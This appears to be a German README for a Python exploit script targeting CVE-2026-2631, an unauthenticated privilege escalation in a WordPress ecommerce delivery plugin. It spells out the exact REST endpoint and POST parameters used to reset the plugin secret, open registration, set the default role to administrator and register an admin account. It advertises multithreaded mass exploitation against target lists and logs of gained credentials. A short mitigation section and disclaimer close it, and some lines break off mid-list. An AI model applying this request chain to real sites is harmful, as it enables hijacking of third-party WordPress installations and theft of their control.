CVE-2026-2631

Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Nicht authentifizierte Privilegienausweitung

💥 CVE-2026-2631 – Datalogics Ecommerce Delivery (WordPress) – Nicht authentifizierte Privilegienausweitung

PoC / Exploit-Skript: CVE-2026-2631.py
Autor: Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
Kontakt: Telegram: @Kxploit

🧬 Schwachstellenübersicht

• Plugin: Datalogics Ecommerce Delivery – Datalogics (WordPress)
• Betroffene Versionen: < 2.6.60 (exklusive)
• Schwachstellentyp: Nicht authentifizierte Privilegienausweitung
• CVE: CVE-2026-2631
• CVSS v3.1: 9.8 (Kritisch)
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Öffentlich veröffentlicht: 12. März 2026
• Zuletzt aktualisiert: 19. März 2026
• Forscher: Khaled Alenazi (Nxploited)

Das Datalogics Ecommerce Delivery – Datalogics-Plugin legt einen nicht authentifizierten Endpunkt offen:

/wp-json/gsf/v1/update-options

Dieses Skript missbraucht diesen Endpunkt, um:

1. 💣 Den internen shop_secret-Schlüssel mithilfe der verwundbaren Aktion resetStoreConfigrations zurückzusetzen.
2. 🔓 Die Benutzerregistrierung zu aktivieren: users_can_register = 1.
3. 👑 Die Standardrolle neuer Benutzer auf administrator zu setzen: default_role = administrator.
4. 🧑‍💻 Automatisch einen neuen Benutzer über das WordPress-Registrierungsformular zu registrieren:
   • wp-login.php?action=register

Im Erfolgsfall ist jeder neue Benutzer, der über das Registrierungsformular erstellt wird, ein Administrator.

⚙️ Funktionen

• ✅ Massenausnutzung gegen mehrere WordPress-Ziele (aus einer Datei).
• ✅ Nicht authentifiziert (kein Login/keine Cookies erforderlich).
• ✅ Automatisches Zurücksetzen von shop_secret über den verwundbaren REST-Endpunkt.
• ✅ Automatische WordPress-Optionsaktualisierung:
  • users_can_register = 1
  • default_role = administrator
• ✅ Automatische Kontoregistrierung mit benutzerdefinierten Anmeldedaten.
• ✅ Rich-TUI-Ausgabe mithilfe von rich (farbige und live aktualisierte Tabelle).
• ✅ Multithreaded mit einstellbarer Thread-Anzahl.
• ✅ Ergebnisprotokollierung in Login_admin.txt.

📦 Anforderungen

🐍 Laufzeitumgebung

• Python 3.x (empfohlen 3.8+)

📚 Python-Pakete

Installiere die erforderlichen Pakete:

pip install -r requirements.txt

Beispiel requirements.txt:

requests
rich
urllib3

Oder manuell installieren:

pip install requests rich urllib3

🧪 Skriptlogik (Ablauf auf hoher Ebene)

Für jedes Ziel:

1. URL normalisieren

   • Stellt sicher, dass http:// vorangestellt wird, falls es fehlt.
   • Entfernt abschließende Schrägstriche.

2. shop_secret zurücksetzen

   • Endpunkt:
     /wp-json/gsf/v1/update-options
   • POST-Daten:
     • action = resetStoreConfigrations
     • shop_secret = <new_secret>
   • Prüft auf den Antworttext:
     • app secret key has been updated successfully

3. WordPress-Optionen aktualisieren

   • Gleicher Endpunkt, mit:
     • action = createUpdateOption
   • Zwei Optionsaktualisierungen:
     1. option_key = users_can_register, option_value = 1
     2. option_key = default_role,

🧵 Multithreading-Modell

• Liest alle Ziele aus list.txt (oder einer benutzerdefinierten Datei).
• Teilt die Ziele mithilfe von chunkify in N Blöcke auf.
• Startet N Worker-Threads, die jeweils ihre eigene Zielliste verarbeiten.
• Verwendet eine gemeinsame Queue für Statussmeldungen an den Printer-Thread.
• Ein dedizierter Printer-Thread (printer_loop) aktualisiert eine Live-rich-Tabelle:
  • Zeigt Index, Seite, Status (SUCCESS/FAILED/ERROR) und Detail.
  • Zeigt die Gesamtzahl der verarbeiteten Einträge und den Ausgabedateinamen.

🚀 Verwendung

1️⃣ Einfacher Start

python3 CVE-2026-2631.py

Sie werden interaktiv nach Folgendem gefragt:

1. Zieldatei

   • Eingabeaufforderung: Targets file (one host/URL per line) [list.txt]:
   • Standard: list.txt
   • Jede Zeile: Domain oder vollständige URL
     • Beispiele:
       • victim.com
       • https://target-site.com
       • http://example.org/blog

2. Threads

   • Eingabeaufforderung: Threads (1-50) [10]:
   • Standard: 10
   • Max: 50
     Mehr Threads = schneller, aber höhere Last auf Ihrem System und den Zielen.

3. shop_secret-Wert

   • Eingabeaufforderung: shop_secret [Nxploited_newSecret]:
   • Standard: Nxploited_newSecret
     Dies ist der neue geheime Schlüssel, der an resetStoreConfigrations gesendet wird.

Diese Anmeldedaten werden für den Registrierungsversuch auf jedem verwundbaren Ziel verwendet.

2️⃣ Format der Zieldatei

Erstelle list.txt (oder eine beliebige andere Datei) mit einem Ziel pro Zeile:

example1.com
http://example2.com
https://shop.example3.net
blog.target-site.org

Das Skript wird:

• Automatisch http:// hinzufügen, falls es fehlt.
• Abschließende / entfernen.

3️⃣ Ausgabe & Ergebnisse

• Alle erfolgreichen Vorgänge (auch wenn die Benutzerregistrierung fehlschlägt, aber die Optionen gesetzt wurden) werden geschrieben in:

  Login_admin.txt

• Eine typische Zeile:

  root@kitploit:~

  http://example1.com | register_url: http://example1.com/wp-login.php?action=register | shop_secret: Nxploited_newSecret | reset_ok,option_ok,option_ok,register_open,registered user=Nx_test1 [email protected] pass=Nx_adminSA
  

• Beispiele für Status in der Live-Tabelle:

  • ✅ SUCCESS – Optionen gesetzt und/oder Benutzer registriert.
  • ❌ FAILED – Zurücksetzen/Optionen fehlgeschlagen, Schwachstelle nicht ausnutzbar.
  • ⚠️ ERROR – Ausnahme, Netzwerkfehler, Zeitüberschreitungen usw.

🧱 HTTP-Endpunkte & Parameter

🔓 Verwundbarer REST-Endpunkt

POST /wp-json/gsf/v1/update-options

1. shop_secret zurücksetzen

action=resetStoreConfigrations
shop_secret=<new_secret>

2. Optionen aktualisieren

action=createUpdateOption
shop_secret=<new_secret>
option_key=users_can_register
option_value=1

action=createUpdateOption
shop_secret=<new_secret>
option_key=default_role
option_value=administrator

🧑‍💻 Registrierungs-Endpunkt

GET/POST /wp-login.php?action=register

Das Skript:

• Extrahiert _wpnonce, falls vorhanden.
• Sendet Registrierungsdaten mit dem angegebenen Benutzernamen, der E-Mail und dem Passwort (falls Felder vorhanden sind).

🔧 Skript-Interna (Wichtige Funktionen)

• normalize_site(raw: str) -> str
  Normalisiert Ziel-URLs.

• send_reset_secret(site: str, secret: str, timeout: int = 10) -> (bool, str)
  Versucht die Aktion resetStoreConfigrations.

• send_option(site: str, secret: str, key: str, value: str, timeout: int = 10) -> (bool, str)
  Setzt WordPress-Optionen über den verwundbaren Endpunkt.

• check_registration_open(site: str, timeout: int = 10) -> (bool, str)
  Prüft, ob die Registrierung geöffnet und das Formular erreichbar ist.

• try_register_user(...) -> (bool, str)
  Versucht, den angegebenen Benutzer zu registrieren.

• write_success_line(site: str, secret: str, detail: str)
  Protokolliert Erfolgsdetails in Login_admin.txt.

• worker(...)
  Worker pro Thread, der:

  1. zurücksetzt

🧪 Beispielaufruf (interaktiv)

$ python3 CVE-2026-2631.py

[Banner / ASCII Art]

Targets file (one host/URL per line) [list.txt]:
> list.txt

Threads (1-50) [10]:
> 20

shop_secret [Nxploited_newSecret]:
> NxSecret2026!

Registration username [Nx_test1]:
> admin_nx

Registration email [[email protected]]:
> [email protected]

Registration password [Nx_adminSA]:
> SuperStrongP@ss!

[Live table starts showing each target’s status]
Processed 5/20 targets · Output: Login_admin.txt

Done. Successful sites (if any) saved to Login_admin.txt.

🛡️ Gegenmaßnahmen & Empfehlungen

Für Verteidiger / Website-Betreiber:

• 🔁 Aktualisieren Sie das Plugin sofort auf Version 2.6.60 oder höher.
• 🧹 Überprüfen Sie:
  • Die WordPress-Benutzerliste auf unbekannte Administratoren.
  • Kürzliche Registrierungen in wp_users.
• 🔑 Generieren Sie alle vom Plugin verwendeten Geheimnisse oder Schlüssel neu.
• 📜 Untersuchen Sie Zugriffsprotokolle auf Treffer für:
  • /wp-json/gsf/v1/update-options
  • /wp-login.php?action=register
• 🧱 Erwägen Sie WAF-Regeln, um unbefugten Zugriff auf sensible REST-Endpunkte zu blockieren.

⚠️ Rechtlicher Haftungsausschluss

Dieses Skript wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt.

• Sie dürfen dieses Tool nicht ohne ausdrückliche schriftliche Genehmigung des Eigentümers auf einem System, einer Anwendung oder einem Netzwerk verwenden.
• Unbefugter Zugriff, Ausnutzung oder Missbrauch von Schwachstellen ist illegal und kann zu strafrechtlichen Konsequenzen führen.
• Der Autor (Khaled Alenazi – Nxploited), die Mitwirkenden und die Verteiler dieses Skripts:
  • ❌ Übernehmen KEINERLEI Verantwortung oder Haftung für:
    • Missbrauch dieses Codes
    • Direkt oder indirekt verursachte Schäden
    • Rechtliche Konsequenzen, die aus der Nutzung resultieren
• Durch die Nutzung dieses Skripts stimmen Sie zu, dass:
  • Sie allein für Ihre Handlungen verantwortlich sind.
  • Sie alle geltenden lokalen, nationalen und internationalen Gesetze und Vorschriften einhalten.
  • Sie dieses Tool nur in kontrollierten Umgebungen und/oder mit ordnungsgemäßer Autorisierung (PT/Red Team, Bug Bounty, Labor usw.) verwenden.

Wenn Sie diesen Bedingungen nicht zustimmen, verwenden Sie dieses Skript nicht.

❤️ Danksagungen

• Forschung & Exploit:
  • Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
• CVE: CVE-2026-2631
• Kontakt: @Kxploit auf Telegram

Bleiben Sie sicher, hacken Sie verantwortungsbewusst. 🕶️💻